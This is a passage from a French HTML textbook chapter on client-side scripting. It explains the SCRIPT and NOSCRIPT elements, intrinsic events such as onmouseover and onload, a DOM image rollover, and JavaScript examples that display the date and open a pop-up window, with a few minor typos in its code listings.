[Link] dans un navigateur. Le résultat est plus intéressant.

Figure 10.4 :
Affichage du type de
navigateur à l’aide
d’un script
JavaScript

Remarquez dans cette figure que Firefox est identifié comme navigateur
Netscape. Il est possible d’obtenir plus de détails, en particulier sur la
version employée, comme vous le verrez par la suite.

Définition du type de script : déclaration

META et attribut type de l’élément SCRIPT
Nous ne le répéterons jamais assez : HTML ne dépend pas d’un langage
de script particulier. Vous devez indiquer explicitement aux agents
utilisateurs le langage de chaque script.

Vous pouvez spécifier un langage de script par défaut pour tous les
scripts d’un document. Pour ce faire, placez la déclaration META
suivante dans l’élément HEAD :
<META http-equiv="Content-Script-Type"
content="un_certain_type">

386 LE GUIDE COMPLET

 Élément SCRIPT Chapitre 10

La valeur un_certain_type représente le type de contenu qui nomme

le langage de script, par exemple text/tcl, text/JavaScript ou
text/vbscript.

Un document qui ne spécifie pas de langage de script par défaut et qui

contient un ou plusieurs éléments spécifiant un ou plusieurs scripts
d’événement intrinsèque est incorrect. Les agents utilisateurs peuvent
toujours essayer d’interpréter les scripts spécifiés incorrectement, mais
ne sont nullement tenus de le faire.

Vous pouvez également spécifier localement le langage d’un script en

définissant l’attribut type de son élément SCRIPT dans le document. La
valeur de l’attribut type spécifie le langage de script du contenu de
l’élément. Il outrepasse le langage de script par défaut. Le langage de
script est spécifié comme type de contenu (par exemple,
text/javascript). Il faut fournir une valeur pour cet attribut, qui est
dépourvu de valeur par défaut. Cet attribut remplace désormais l’attribut
language, qui spécifiait le langage de script du contenu de cet élément
à l’aide d’un identifiant du langage. Ces identifiants n’étant pas
normalisés, l’attribut est déconseillé en faveur de l’attribut type.

Autres attributs de l’élément SCRIPT

Un script peut être défini en contenu de l’élément SCRIPT (comme dans
les exemples précédents) ou dans un fichier externe. L’attribut src
spécifie alors l’emplacement du script externe :
<SCRIPT type="text/javascript" src="quelquepart/[Link]">

Si l’attribut src n’est pas spécifié, l’agent utilisateur doit interpréter le

contenu de l’élément comme étant le script. Dans le cas contraire,
l’agent utilisateur doit ignorer le contenu de l’élément et ramener le
script désigné par l’URI. Remarquez que l’attribut optionnel charset
se réfère à l’encodage de caractères du script désigné par l’attribut src
et non au contenu de l’élément SCRIPT.

Quand il est présent, l’attribut booléen defer indique à l’agent

utilisateur que le script ne va générer aucun contenu de document (par
exemple, aucune instruction [Link] en JavaScript). L’agent
utilisateur peut donc poursuivre l’analyse et la restitution.

LE GUIDE COMPLET 387

 Chapitre 10 Scripts

Cas des agents utilisateurs qui ne gèrent

pas les scripts
Les scripts sont précieux, mais il serait dommage de fonder un site sur
l’exploitation de ceux-ci sans tenir compte des agents utilisateurs qui ne
reconnaissent pas les scripts. Deux précautions sont à prendre :
j Fournir un contenu de remplacement aux agents utilisateurs qui
ne reconnaissent pas les scripts ou ne sont pas configurés pour les
accepter.
j Dissimuler le contenu de ceux-ci pour les agents utilisateurs qui
seraient susceptibles d’afficher leur contenu comme du texte.

Nous allons examiner ces deux précautions.

Élément NOSCRIPT
L’élément NOSCRIPT permet de fournir un contenu de remplacement
lorsque, pour une raison quelconque, un script n’est pas exécuté. Le
contenu de l’élément NOSCRIPT ne doit être restitué par un agent
utilisateur reconnaissant les scripts que dans les cas suivants :
j L’agent utilisateur est configuré pour ne pas exécuter (évaluer) les
scripts.
j L’agent utilisateur ne reconnaît pas le langage de script invoqué
par un élément SCRIPT apparu plus tôt dans le document.

Les agents utilisateurs qui ne gèrent pas les scripts côté client doivent
restituer le contenu de cet élément.

Dans l’exemple suivant, l’agent utilisateur qui interprète l’élément

SCRIPT va inclure certaines données créées dynamiquement dans le
document. S’il ne reconnaît pas les scripts, l’utilisateur peut toujours
obtenir les données grâce à un lien.
<SCRIPT type="text/javascript">
...un script javascrit qui incorpore des donn&eacute;es...
</SCRIPT>
<NOSCRIPT>
<P><A href="[Link]
Acc&egrave; aux donn&eacute;es.
</A>
</NOSCRIPT>

388 LE GUIDE COMPLET

 Élément SCRIPT Chapitre 10

Grâce à l’élément NOSCRIPT, vous pouvez fournir de précieuses

indications à vos visiteurs.

Figure 10.5 :
Exemple de contenu d’un
élément NOSCRIPT

Dissimulation des données de script

aux agents utilisateurs
La seconde précaution consiste à dissimuler le contenu des scripts. En
effet, un agent utilisateur qui ne reconnaît pas l’élément SCRIPT va
vraisemblablement restituer le contenu de cet élément comme un texte.
Certains moteurs de script, dont ceux des langages JavaScript et
VBScript, autorisent la délimitation des déclarations d’un script par un
commentaire SGML <!−− −−>. Les agents utilisateurs qui ne
reconnaissent pas l’élément SCRIPT ignoreront le commentaire tandis
que les moteurs de script intelligents comprendront que le script dans le
commentaire doit être exécuté.

Solution alternative
Une autre solution à ce problème consiste à placer les scripts dans des
documents externes et à les appeler avec l’attribut src.

Avec JavaScript, vous pouvez employer la chaîne <!−− au début de

l’élément SCRIPT : le moteur ignore les caractères suivants jusqu’à la
fin de la ligne. JavaScript interprète la chaîne // comme le début d’un

LE GUIDE COMPLET 389

 Chapitre 10 Scripts

commentaire qui s’étend jusqu’à la fin de la ligne courante. Elle est

nécessaire pour dissimuler la chaîne −−> à l’analyseur JavaScript (même
si celle-ci ne lui pose généralement pas de problème).

Voici un exemple :
<SCRIPT type="text/javascript">
<!—dissimulation du contenu du script aux anciens navigateurs
function square(i) {
[Link]("L’appel a pass&eacute; ", i ,
" &agrave; la fonction.","<BR>")
return i * i
}
[Link]("La fonction a renvoy&é ",square(i),".")
// fin de la dissimulation du contenu -->
</SCRIPT>

Avec VBScript, c’est le caractère « guillemet simple » qui fait, du reste

de la ligne courante, un commentaire. Par exemple :
<SCRIPT type="text/vbscript">
<!--
Sub foo()
...
End Sub
’ -->
</SCRIPT>

Vous l’avez compris, le choix du caractère de commentaire dépend du

langage de script employé. Avec Tcl, par exemple, ce serait le caractère
#, etc.

Fermeture de commentaires
Certains navigateurs referment les commentaires au premier caractère
> rencontré. Pour dissimuler le contenu du script à ces navigateurs, vous
pouvez transposer les opérandes des opérateurs relationnels et de
décalage (par exemple, en écrivant y < x plutôt que x > y) ou
employer le mécanisme d’échappement du langage de script pour le
caractère >.

10.3. Événements intrinsèques

Chaque langage de script obéit à ses propres règles pour appeler des
objets HTML à partir d’un script. La spécification HTML ne définit
aucun mécanisme standard d’appel des objets HTML. La syntaxe des
données du script dépend du langage de script.

390 LE GUIDE COMPLET

 Événements intrinsèques Chapitre 10

Les scripts doivent toutefois référer à un élément en fonction du nom

qui lui est assigné. Les moteurs de script doivent observer la règle de
préséance suivante dans l’identification d’un élément : l’attribut name
est prioritaire sur l’attribut id si les deux sont présents. Sinon, l’un ou
l’autre peuvent être employés indifféremment.

Il est possible d’associer une action à un certain nombre d’événements,

qui se produisent lorsque l’utilisateur interagit avec l’agent utilisateur.
Chacun des événements intrinsèques prend comme valeur un script :
nom_événement="script"

Evénements intrinsèques
Des modifications vont probablement être apportées aux événements
intrinsèques, notamment en ce qui concerne la façon dont les scripts sont
rattachés aux événements. Les recherches dans ce domaine sont menées
par les membres du groupe de travail sur le Modèle Objet de Document
(DOM) du W3C. Consultez le site Web du W3C ([Link]/) pour plus
de renseignements.

Le script s’exécute chaque fois que l’événement se produit pour cet

élément. La syntaxe des données de script dépend du langage de script.

Les événements reconnus par les différents éléments HTML sont

présentés dans le tableau suivant.

Tableau 10.1 : Événements intrinsèques HTML

Événement Survient lorsque

Événements concernant les éléments BODY et FRAMESET

onload L’agent utilisateur finit de charger une fenêtre ou bien

tous les cadres dans un jeu d’encadrement FRAMESET

onunload L’agent utilisateur retire le document d’une fenêtre ou

d’un cadre

Événements de formulaire (élément FORM)

onsubmit Un formulaire est soumis

onreset Un formulaire est réinitialisé

Événements concernant les commandes de formulaire

LE GUIDE COMPLET 391

 Chapitre 10 Scripts

Tableau 10.1 : Événements intrinsèques HTML

Événement Survient lorsque

onfocus Un élément reçoit le focus via le dispositif de pointage ou

une navigation par tabulation. S’applique aux éléments A,
AREA, LABEL, INPUT, SELECT, TEXTAREA et BUTTON.
onblur Un élément perd le focus via le dispositif de pointage ou
une navigation par tabulation. S’applique aux mêmes
éléments que onfocus.

onselect L’utilisateur sélectionne un certain texte dans un champ

textuel. S’applique aux éléments INPUT et TEXTAREA.

onchange Une commande perd le focus ou sa valeur a été modifiée

depuis l’instant où elle a reçu le focus. S’applique aux
éléments INPUT, SELECT et TEXTAREA.

Événements génériques. Tous les éléments, sauf APPLET, BASE,

BASEFONT, BDO, BR, FONT, FRAME, FRAMESET, HEAD, HTML, IFRAME,
ISINDEX, META, PARAM, SCRIPT, STYLE et TITLE.
onclick Le bouton du dispositif de pointage est cliqué au-dessus
d’un élément

ondblclick Le bouton du dispositif de pointage est double-cliqué au-

dessus d’un élément

onmousedown Le bouton du dispositif de pointage est appuyé au-dessus

d’un élément

onmouseup Le bouton du dispositif de pointage est relâché au-dessus

d’un élément

onmouseover Le dispositif de pointage est déplacé sur un élément

onmousemove Le dispositif de pointage est déplacé alors qu’il est au-

dessus d’un élément

onmouseout Le dispositif de pointage est déplacé en dehors d’un

élément

onkeypress Une touche est pressée puis relâchée au-dessus d’un

élément

onkeydown Une touche est gardée appuyée au-dessus d’un élément

onkeyup Une touche est relâchée au-dessus d’un élément

Comme vous pouvez le voir, la liste des événements qu’il est possible
d’identifier et de relier à une action est impressionnante. Vous pouvez
par exemple employer des éléments de commande de formulaire
(INPUT, SELECT, BUTTON, TEXTAREA et LABEL), qui répondent tous à

392 LE GUIDE COMPLET

 Événements intrinsèques Chapitre 10

certains événements intrinsèques, pour améliorer l’interface utilisateur

graphique du document.

Voici quelques exemples d’emploi d’événements intrinsèques.

Nous avions vu, lors de l’examen des formulaires, que certains champs
pouvaient être obligatoires, et qu’il était possible de tester la validité des
données d’un formulaire avant sa soumission à l’aide de scripts.

Dans le premier exemple, la commande nommée nomUtilisateur est

un champ obligatoire. Lorsque l’utilisateur quitte ce champ, celui-ci
perd le focus (événement onblur), ce qui appelle une fonction
JavaScript qui teste la validité de nomUtilisateur.
<INPUT name="nomUtilisateur"
onblur="verifNomUtilisateur([Link])">

Dans l’exemple suivant, le champ nombre doit normalement contenir

une valeur comprise entre 1 et 10. Le code JavaScript suivant vérifie ce
fait après la saisie d’un nombre par l’utilisateur :
<INPUT name="nombre"
onchange="if (!verifNombre([Link], 1, 10))
{[Link]();[Link]();} else {remercier()}"
value="0">

[Link]
Une déclaration [Link] ou équivalente placée dans un
gestionnaire d’événements intrinsèques crée et écrit vers un nouveau
document au lieu de modifier le document courant.

Voici enfin un autre exemple d’emploi d’événements intrinsèques.

Supposons que nous ayons modifié la barre de navigation en remplaçant
le texte par une icône. Pour l’icône correspondant à Accueil, ce pourrait
être une icône nommée [Link].

Le fichier de la barre de navigation a été modifié en conséquence (ce

fichier se trouve dans les fichiers exemples sous le nom [Link] ;
vous devez l’appeler à l’aide du fichier [Link], également présent) :
<TD><A href="[Link]" target=princ>
<IMG src="images/[Link]" alt="Accueil" border="0">
</A>
</TD>

LE GUIDE COMPLET 393

 Chapitre 10 Scripts

L’aspect de la barre de navigation, ainsi modifiée, serait quelque chose

d’analogue à ce qui est présenté dans la figure suivante.

Figure 10.6 : Aspect de la barre de navigation modifiée

Imaginez que nous voulions que l’utilisateur visualise encore mieux sa

navigation en modifiant l’aspect de l’icône. Pour faire simple, nous nous
sommes bornés ici à inverser les couleurs de l’icône, à l’aide de la
fonction Négatif de Paint Shop Pro, pour créer un fichier nommé
[Link].

Figure 10.7 :
Aspect des icônes [Link] et
[Link]

Nous modifions alors comme suit l’élément A qui concerne la page

d’accueil, en ajoutant ce qui suit :
<TD><A href="[Link]" target=princ
onmouseover="t=[Link];[Link]=[Link]"
onmouseout="[Link]=t"
>
<IMG name="acc" lowsrc="images/[Link]"
src="images/[Link]" alt="Accueil" border="0">
</A>
</TD>

Ce fichier se trouve dans les fichiers exemples, sous le nom

[Link]. En l’examinant dans votre navigateur (en appelant
[Link], également fourni), vous constatez que, lorsque votre
dispositif de pointage (en principe votre souris) est placé au-dessus de
l’icône Accueil, celle-ci se modifie immédiatement : cela ajoute de
l’interactivité et du dynamisme à votre site, pour des efforts somme
toute relativement faibles.

394 LE GUIDE COMPLET

 Événements intrinsèques Chapitre 10

Figure 10.8 : Modification à la volée de l’icône selon que le dispositif de

pointage est placé ou non dessus

Ce petit fragment de code mérite que vous l’examiniez d’un peu plus
près, pour comprendre ce qui se passe. Il est un peu particulier en ce
qu’il n’emploie pas un « vrai » script (vous remarquerez l’absence
d’élément SCRIPT), mais a recours au Modèle Objet de Document
(DOM) sous-jacent à tout document HTML ou XML bien formé.
Regardez d’abord l’élément IMG : vous l’avez nommé (name="acc"),
avez laissé l’attribut src défini comme précédemment, mais avez
également défini un autre attribut, lowsrc, avec comme valeur la
seconde icône.

Dans l’élément A, vous avez ajouté deux gestionnaires d’événements :

un pour onmouseover (la souris est sur l’icône) et un pour
onmouseout (la souris quitte l’icône).

Par défaut, la souris n’est pas sur l’icône et l’icône affichée est celle qui
correspond à la valeur de l’attribut src de l’élément IMG (ou [Link],
puisque cet élément se nomme acc), soit donc celle située à l’URI
images/[Link].

Lorsque la souris se place sur l’icône, la valeur de [Link] est placée

dans la variable t et est remplacée par la valeur de [Link], soit
l’URI qui mène à la seconde icône : images/[Link]. L’agent
utilisateur applique alors la modification et affiche la seconde icône.

Lorsque le curseur quitte l’icône, la valeur de t est placée dans

[Link] et la première icône est à nouveau affichée.

Modèle Objet de Document (DOM)

Le Modèle Objet de Document (DOM), spécification du W3C (http:
//[Link]/w3c/TR/REC-DOM-Level-1/), est une interface de programmation
d’applications (API) pour documents HTML et XML. Il se divise en
deux parties : DOM Core (ou noyau) et DOM HTML (les spécifications
propres à HTML).

LE GUIDE COMPLET 395

 Chapitre 10 Scripts

Le DOM définit la structure logique des documents ainsi que la

façon dont vous accédez aux éléments et les manipulez. Avec le
Modèle Objet de Document, les programmeurs peuvent construire des
documents, naviguer dans leur structure, et ajouter, modifier ou
supprimer des éléments ou du contenu. Tout ce qui se trouve dans un
document HTML ou XML peut être accédé, changé, détruit ou ajouté
en utilisant le Modèle Objet de Document, à quelques rares exceptions
près. DOM est conçu pour être utilisé avec n’importe quel langage de
programmation.
Dans DOM, les documents ont une structure logique comparable à une
arborescence. Le nom « Modèle Objet de Document » a été choisi parce
qu’il s’agit d’un « modèle objet » au sens traditionnel de la conception
orientée objet : les documents sont modélisés en utilisant des objets, tandis
que le modèle ne contient pas uniquement la structure du document mais
aussi son comportement et celui des objets dont il est composé. En
d’autres termes, les nœuds ne représentent pas une structure de données,
mais des objets possédant une identité, un comportement et des propriétés.
Le DOM contient également les événements associés aux différents
éléments du document.
Par exemple, dans l’exemple ci-dessus, DOM contient l’élément HTML A
ainsi que les événements associés onMouseOver et onMouseOut. Les
attributs des éléments HTML nommés sont traités comme des propriétés
de l’objet. Ainsi, vous accédez à l’attribut src de l’élément IMG nommé
acc à l’aide de [Link].
Une étude plus complète du DOM dépasse largement l’objectif de ce
livre. Reportez-vous si nécessaire à la spécification du W3C, à l’adresse
indiquée en haut de cet encadré.

10.4. Travail avec les scripts

Vous devez l’avoir compris, si insérer un script, interne ou externe, dans
un document HTML ne présente guère de difficultés, c’est tout autre
chose dès que l’on passe à la rédaction de ces scripts.

Les langages de script sont généralement réputés ne pas être très faciles
à apprendre. Si vous souhaitez vous y attaquer, commencez par la
syntaxe : c’est la grammaire fondamentale des langages informatiques,
de programmation, de script ou hypertextes. Après avoir compris la
syntaxe, passez au vocabulaire : les mots réservés et les noms. Par
exemple, en quoi un frame JavaScript diffère-t-il d’un FRAME HTML ?

396 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

Vous pouvez apprendre un langage de script en utilisant la même

méthode que celle dont vous vous êtes servi pour HTML : en achetant
un ouvrage consacré au langage qui vous intéresse, en examinant des
codes source dans votre navigateur Web, ainsi qu’en menant des
recherches dans les listes de diffusion et les forums de discussion.

Sans vouloir plonger trop avant dans l’étude de ces langages de script, il
existe une méthode simple et efficace : réutiliser du code.

Vous avez remarqué que, dans les pages HTML que nous avons créées,
de nombreuses parties de code étaient répétitives : plutôt que de les
saisir à nouveau, un simple copier-coller permet d’obtenir rapidement le
résultat souhaité. Il en va de même pour les scripts : réutiliser vos
fragments de code économise du temps et des efforts. Si une fonction ou
une sous-routine fonctionne à la perfection, mieux vaut ne pas la
réécrire dans chaque document, mais en faire un script externe appelé
par plusieurs documents. En outre, de nombreux concepteurs
indépendants partagent leur travail avec tous, encourageant le public à
utiliser et à réutiliser à leur guise leurs scripts. Lorsque vous voulez
accomplir quelque chose, il existe de fortes chances pour qu’un
programmeur autre que vous y ait déjà pensé et ait même proposé son
script gratuitement sur le Net.

Un dernier point : la sécurité des scripts. Les scripts sont globalement

bien moins dangereux qu’on ne le laisse supposer. Plus exactement, les
dangers qu’ils présentent sont le plus souvent dus à des failles de
sécurité des navigateurs et des systèmes d’exploitation. Des mises à jour
sont régulièrement diffusées pour pallier ces failles lorsqu’elles sont
identifiées. Veillez à toujours rechercher au moins mensuellement les
mises à jour de sécurité qui s’appliquent à votre navigateur et à votre
système d’exploitation.

Nous allons maintenant examiner un peu plus en détail les principaux

langages de script.

JavaScript
Le JavaScript est un langage qui permet d’écrire des scripts incorporés
dans un document HTML. Historiquement, c’est le premier langage de
script pour le Web qui a permis aux développeurs Web d’exécuter de
petits programmes sur le navigateur Web plutôt que sur le serveur Web,
d’où le terme de script côté client.

LE GUIDE COMPLET 397

 Chapitre 10 Scripts

JavaScript a été mis au point par Netscape en 1995. À l’origine, il se

nommait LiveScript et était destiné à fournir un langage de script simple
au navigateur Netscape Navigator 2. Il a, à l’époque, été longtemps
critiqué pour son manque de sécurité, son développement peu poussé et
l’absence de messages d’erreur explicites rendant délicate son
utilisation. Le 4 décembre 1995, suite à une association avec le
constructeur Sun, Netscape rebaptise son langage JavaScript (un clin
d’œil au langage Java développé par Sun). À la même époque,
Microsoft met au point le langage JScript, un langage de script très
similaire.

De ce fait, le langage JavaScript dans ses différentes versions (jusqu’à

2.0 pour JavaScript au sens strict, plus les versions de JScript) est
fortement dépendant du navigateur appelant la page Web dans laquelle
le script est incorporé (reportez-vous plus loin au tableau page 407).
Ainsi, pour éviter toute dérive, un standard a été défini pour normaliser
les langages de script. Il s’agit de l’ECMA-262, aussi appelé
ECMAScript, créé par l’organisation du même nom (ECMA, European
Computer Manufactures Association). Nous reviendrons par la suite sur
ECMAScript.

Il ne nécessite toutefois pas de compilateur, contrairement au langage

Java avec lequel il a longtemps été et reste parfois confondu : le code est
directement écrit dans la page HTML. C’est un langage peu évolué qui
ne permet aucune confidentialité au niveau des codes : ceux-ci restent
visibles.

Vous avez déjà rencontré JavaScript dans ce chapitre. Ce livre n’a pas
pour vocation de vous apprendre tout ce qu’il faudrait savoir à propos de
JavaScript, mais vous allez cependant en découvrir la syntaxe principale
et le vocabulaire de base. Cela est suffisant pour débuter avec
JavaScript.

JavaScript permet de personnaliser l’apparence de documents HTML,

d’ouvrir et de fermer des boîtes de dialogue surgissantes (pop-up), de
manipuler des cookies, d’exécuter des calculs ainsi que de générer et de
manipuler dynamiquement le contenu de la page HTML elle-même.
JavaScript a recours au Modèle Objet de Document (DOM), cité dans la
section précédente, pour modifier dynamiquement la page Web.

La syntaxe de JavaScript diffère de celle d’HTML, sans en devenir pour

autant effrayante. La syntaxe de base du langage, largement inspirée de
celle de C/C++, présente les caractéristiques suivantes :

398 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

j Les commandes sont séparées par un point-virgule (;).

j Les accolades {}définissent un bloc de commande et permettent
de limiter la portée des variables.
j Un commentaire sur une ligne est précédé de //.
j Un commentaire sur plusieurs lignes est encadré par la balise
d’ouverture /* et la balise de fermeture */.

JavaScript est sensible à la casse. Cela signifie que si vous concevez une
fonction nommée Date, vous ne pourrez l’appeler à l’aide de date,
DATE ou DaTE : il faut impérativement l’appeler avec Date.

JavaScript est enfin un langage script orienté objets, ce qui signifie que
vous pouvez créer des classes et des instances d’objets. JavaScript
propose en standard un certain nombre de classes, que vous pourrez
utiliser à votre aise pour créer vos programmes. Il sera donc possible
d’avoir des syntaxes du type :
[Link](parametre);

L’utilité de JavaScript pour les auteurs de pages Web dynamiques tient

en grande partie au recours à des fonctions. Un script JavaScript peut
être une simple ligne de code permettant de capturer la saisie d’une
portion de texte, ou de la date et de l’heure courantes. Une fois la page
chargée, il n’existe aucun moyen de mettre à jour l’heure sans avoir
recours à un élément META Refresh ou sans demander à l’utilisateur
d’actualiser (ou de recharger) la page. Si cependant le script qui permet
d’inclure l’heure est situé dans une fonction JavaScript, celle-ci peut être
exécutée chaque fois que l’utilisateur accomplit une certaine action,
comme déplacer la souris sur une image ou cliquer sur un bouton.

Voici un exemple classique de code JavaScript, adapté pour une

meilleure conformité avec la spécification HTML 4.01 à partir d’un
fichier disponible gratuitement sur l’excellent site de Je [Link]
([Link]/[Link]). Ce script n’a qu’un but : afficher la date
système.
Listing 10-1 : [Link]
01 // PLF - [Link]
02 var datedujour, date, mois, mois1, jour, jour1, an;
03 datedujour = new Date();
04 jour = [Link]()
05 switch(jour){
06 case 1 :
07 jour1 ="Lundi"

LE GUIDE COMPLET 399

 Chapitre 10 Scripts

08 break;
09 case 2 :
10 jour1 ="Mardi"
11 break;
12 case 3 :
13 jour1 ="Mercredi"
14 break;
15 case 4 :
16 jour1 ="Jeudi"
17 break;
18 case 5 :
19 jour1 ="Vendredi"
20 break;
21 case 6 :
22 jour1 ="Samedi"
23 break;
24 case 0 :
25 jour1 ="Dimanche"
26 break;
27 }
28 date = [Link]()
29 mois = [Link]()
30 switch(mois+1){
31 case 1 :
32 mois1 ="Janvier"
33 break;
34 case 2 :
35 mois1 ="F&eacute;vrier"
36 break;
37 case 3 :
38 mois1 ="Mars"
39 break;
40 case 4 :
41 mois1 ="Avril"
42 break;
43 case 5 :
44 mois1 ="Mai"
45 break;
46 case 6 :
47 mois1 ="Juin"
48 break;
49 case 7 :
50 mois1 ="Juillet"
51 break;
52 case 8 :
53 mois1 ="Ao&ucirc;t"
54 break;
55 case 9 :
56 mois1 ="Septembre"
57 break;
58 case 10 :
59 mois1 ="Octobre"

400 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

60 break;
61 case 11 :
62 mois1 ="Novembre"
63 break;
64 case 12 :
65 mois1 ="D&eacute;cembre"
66 break;
67 }
68 an = [Link]()

Les lignes ont été numérotées uniquement pour faciliter l’interprétation

ultérieure.

Le fichier tel qu’il est présenté est un fichier externe, que vous devez
appeler comme suit dans votre élément HEAD :
<SCRIPT type="text/javascript" src="[Link]">

Ce code JavaScript calcule la date système. Comment fonctionne-t-il ?

1 Vous définissez dans la ligne 2 plusieurs variables : datedujour,
date, mois, mois1, jour, jour1 et an.
2 Dans la ligne 3, vous affectez à datedujour la valeur renvoyée
par la méthode globale Date().
3 Dans la ligne 4, vous affectez à la variable jour la valeur
renvoyée par la méthode [Link](). Celle-ci
renvoie un nombre qui correspond au jour de la semaine.
4 Les lignes 5 à 27 sont une instruction conditionnelle qui affecte à
la variable jour1 le nom du jour de la semaine en lettres.
5 Dans la ligne 28, vous affectez à la variable date la valeur
renvoyée par la méthode [Link](). Celle-ci
renvoie un nombre qui correspond au jour du mois.
6 Dans la ligne 29, vous affectez à la variable mois la valeur
renvoyée par la méthode [Link](). Celle-ci
renvoie un nombre qui correspond au mois. Les lignes 30 à 67
sont une instruction conditionnelle qui affecte à la variable mois1
le nom du mois en lettres.
7 Dans la ligne 68, vous affectez à la variable an la valeur renvoyée
par la méthode [Link](). Celle-ci renvoie
un nombre qui correspond au jour du mois.

Nous avons défini des variables, mais ne les avons pas encore
employées : cela respecte le principe de la séparation des logiques de

LE GUIDE COMPLET 401

 Chapitre 10 Scripts

travail et de présentation. Pour afficher la date du jour, placez ce qui suit

dans un élément SCRIPT dans le corps de votre document HTML :
<SCRIPT type="text/javascript">
[Link]("<DIV style=’text-align: center;
font-weight: bold; font-size: +2");
[Link](jour1, " ");
[Link](date, " ");
[Link](mois1 , " ");
[Link](an, " ");
[Link]("</DIV>");
</SCRIPT

Cela écrit dans le document la date système, au sein d’un élément DIV à
style défini.

Figure 10.9 :
Affichage de la date système à
l’aide d’un script

Ce script n’est qu’un exemple. Il pourrait être écrit de bien d’autres

façons pour parvenir au même résultat. Par exemple, JavaScript permet
l’utilisation de matrices dans vos scripts. Celles-ci sont définies à l’aide
de crochets []. Vous pourriez ainsi employer des matrices au lieu
d’instructions conditionnelles. Le programme deviendrait alors :
Listing 10-2 : [Link]
01 // PLF - [Link] Modifs : F. Lemainque
02 var datedujour, date, mois, mois1, jour, jour1, an;
03 nomMois = new Array("Janvier","F&eacute;vrier","Mars",
"Avril","Mai","Juin","Juillet","Ao&ucirc;t",
"Septembre","Octobre","Novembre","D&eacute;cembre");
04 nomJours = new Array("Dimanche","Lundi","Mardi",
"Mercredi","Jeudi","Vendredi","Samedi");
05 datedujour = new Date();
06 jour = [Link]()
07 jour1 = nomjours[jour]
08 date = [Link]()
09 mois = [Link]()
10 mois1 = nomMois[mois]
11 an = [Link]()

402 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

Le fichier est nettement plus court : 11 lignes au lieu de 68 ! Il pourrait

d’ailleurs être rendu encore plus compact, mais nous laissons cela à
votre sagacité. Examiné dans votre navigateur, il procure des résultats
identiques à la version précédente.

Figure 10.10 :
Autre script d’affichage de la date
système

Cadres cibles et JavaScript

JavaScript utilise des cadres cibles et des fenêtres nommées pour
contrôler le contenu d’un document Web. Il peut vous jouer des tours
quand vous ciblez à partir d’un cadre possédant une cible de base
(élément BASE). Selon le navigateur, JavaScript peut employer la cible
de base au lieu de la cible spécifiée dans le script. Vous pouvez
contourner ceci en retirant l’élément BASE de votre page de cadres.

Comme tout bon langage, JavaScript possède un « vocabulaire »

constitué de mots individuels qui, lorsqu’ils sont combinés en fonctions,
ordonnent au navigateur Web d’accomplir quelque chose via le moteur
de script. Vous trouverez certains des mots de ce vocabulaire dans le
tableau page 406.

Très succinctement, comme nous l’avons signalé plus haut, vous pouvez
décomposer le langage JavaScript en objets, méthodes et événements.
L’ensemble d’objets disponibles pour le langage de script dépend du
navigateur utilisé. Il s’agit du Modèle Objet de Document (Document
Object Model, ou DOM), déjà abordé.

Les méthodes définissent les actions de JavaScript. Dans l’exemple

précédent,
[Link](jour1, " ");

LE GUIDE COMPLET 403

 Chapitre 10 Scripts

a recours à la méthode write() pour insérer du texte dans l’objet

document, et le faire ainsi apparaître dans votre navigateur Web.

Enfin, les événements permettent d’appeler les fonctions. Si les

fonctions sont un ensemble d’instructions exécutées chaque fois que
vous prononcez le mot magique, alors l’événement est ce mot magique.
Si le script contient une fonction nommée OuvreFenetre, vous
pourriez appeler celle-ci à l’aide d’un événement comme :
<BODY onLoad="OuvreFenetre ()">,

Cela exécute le script. onLoad est l’événement qui indique au

navigateur quand appeler la fonction et exécuter le script. Voici un
exemple :
<SCRIPT LANGUAGE="javascript">
<!--
function OuvreFenetre(){
remote = [Link]("","remotewin",width=125,height=175);
[Link] = "[Link]";
if ([Link] == null) [Link] = window;
[Link] = "opener ";
}
//-->
</SCRIPT>
</HEAD>
<BODY onLoad ="OuvreFenetre()" bgcolor="#FFFFFF">

Si vous placez ce script dans une page Web et ouvrez celle-ci avec votre
navigateur, vous pourriez obtenir l’avertissement présenté dans la figure
suivante : ici les fenêtres surgissantes (popup) sont désactivées et
Firefox vous prévient de la tentative.

Figure 10.11 :
Les fenêtres surgissantes sont
désactivées

404 LE GUIDE COMPLET

 Travail avec les scripts Chapitre 10

En autorisant les fenêtres surgissantes pour ce site et en rafraîchissant

votre document dans le navigateur, vous voyez apparaître une nouvelle
fenêtre.

Figure 10.12 :
Apparition d’une fenêtre
surgissante

Globalement, les fenêtres surgissantes sont plus souvent pénibles

qu’utiles : mieux vaut les laisser désactivées et ne les activer que lorsque
cela est réellement nécessaire.

Le vocabulaire JavaScript contient bien d’autres mots, en sus des objets,

méthodes et événements présentés ici : par exemple, les matrices, les
instructions et les opérateurs. Une matrice est une collection d’objets ou
de variables regroupés sous un même nom de variable. Nous en avons
employé dans le fichier [Link] :
nomMois = new Array(
"Janvier","F&eacute;vrier","Mars","Avril","Mai",
"Juin","Juillet","Août","Septembre","Octobre",
"Novembre","D&eacute;cembre");

Certaines instructions utilisent des mots réservés, comme if, else if

et switch. Nous avions employé cette dernière instruction dans le
fichier [Link] :
switch(jour){
… instructions case …
}

Chacune de ces instructions possède un sens précis pour JavaScript.

C’est ainsi que switch signifie « branchez-vous sur l’instruction case
qui correspond à la valeur du paramètre et accomplissez l’instruction
mentionnée, puis sortez de l’instruction switch ».

LE GUIDE COMPLET 405

 Chapitre 10 Scripts

Il existe également de nombreux opérateurs, les plus courants servant

pour des opérations mathématiques ou comme opérateurs de
comparaison, par exemple dans une instruction if.

Les objets documents, comme [Link], appartiennent aussi

bien à JavaScript qu’au Modèle Objet de Document (DOM). JavaScript
possède plusieurs objets intégrés, comme l’objet cookie, qui peuvent
être utilisés automatiquement comme parties de l’objet document. Les
mises en œuvre Netscape et Microsoft du DOM sont toutefois
longtemps restées incompatibles, rendant difficile la vie du concepteur
Web.

Le tableau suivant présente quelques exemples d’objets ou propriétés

document, précieux en JavaScript.

Tableau 10.2 : Propriétés de document JavaScript

Nom de la Exemple But Équivalent

propriété HTML
alinkColor document Définit la couleur des liens <BODY alink
.alinkColor sélectionnés =”#CC0000”>
.#CC0000

bgColor document Définit la couleur d’arrière- <BODY bgcolor

.bgColor.#FFFFFF plan =”FFFFFF”>

Cookie document Obtient la valeur de tout

.cookie cookie associé à ce
document

fgColor document Définit la couleur du texte <BODY text

.fgColor.#000000 =”#000000”>

lastModified document Obtient la date de dernière

.lastModified modification du document
actif

